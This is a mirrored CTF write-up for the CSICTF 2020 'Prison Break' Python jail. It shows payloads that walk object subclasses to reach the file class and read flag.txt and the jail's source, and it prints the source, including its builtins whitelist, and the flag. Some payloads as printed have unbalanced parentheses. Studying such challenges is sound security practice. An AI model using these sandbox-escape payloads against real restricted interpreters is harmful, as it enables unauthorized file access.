Prison Break

发表于 2021-01-09 分类于 Challenge， 2020， CSICTF， Misc
Challenge | 2020 | CSICTF | Misc | Prison Break

点击此处获得更好的阅读体验

WriteUp来源

https://dunsp4rce.github.io/csictf-2020/miscellaneous/2020/07/22/Prison-Break.html

by `vishalananth`

题目描述

> *I saw them put someone in jail. Can you find out who it is? They said this is the best prison ever built. You sure can't break it, can you?*

题目考点

解题思路

We netcat into the given IP and notice that the python interpreter is open and many common commands are banned. So like with any python jail we try different things to bypass the banned commands. We see

`print(dir())` *works and hence decide to proceed along those lines. We try*

```
1 print(dir(__builtins__))
```

We then try

```
1 print(().__class__.__base__.__subclasses__())
```

This prints a lot of useful classes among which was the `file` *class. So we try to open the flag file with*

```
1 print().__class__.__base__.__subclasses__()[40]("flag.txt","r").read())
```

We see it does not have the flag and asks us to check the source code for flag. So I randomly tried

```
1 print().__class__.__base__.__subclasses__()[40]("jail.py","r").read())
```

and got the source code which had the flag

```
#!/usr/bin/python
import sys
class Sandbox(object):
    def execute(self, code_string):
        exec(code_string)
        sys.stdout.flush()
sandbox = Sandbox()
_raw_input = raw_input
main = sys.modules["__main__"].__dict__
orig_builtins = main["__builtins__"].__dict__
builtins_whitelist = set((
    #exceptions
    'ArithmeticError', 'AssertionError', 'AttributeError', 'Exception',
    #constants
    'False', 'None', 'True',
    #types
    'basestring', 'bytearray', 'bytes', 'complex', 'dict',
    #functions
    'abs', 'bin', 'dir', 'help'
    # blocked: eval, execfile, exit, file, quit, reload, import, etc.
))
for builtin in orig_builtins.keys():
    if builtin not in builtins_whitelist:
        del orig_builtins[builtin]
print("Find the flag.")
sys.stdout.flush()
def flag_function():
    flag = "csictf{m1ch34l_sc0fi3ld_fr0m_pr1s0n_br34k}"
while 1:
    try:
        sys.stdout.write(">>> ")
        sys.stdout.flush()
        code = _raw_input()
        sandbox.execute(code)
    except Exception:
        print("You have encountered an error.")
        sys.stdout.flush()
```

Flag

```
csictf{m1ch34l_sc0fi3ld_fr0m_pr1s0n_br34k}
```

- *本文作者：* CTFHub
- *本文链接：* https://writeup.ctfhub.com/Challenge/2020/CSICTF/Misc/6tSMd8xHZaiMYPrKv1tHCu.html
- *版权声明：* 本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！

Challenge # 2020 # Misc # CSICTF
CCC
Prime-Roll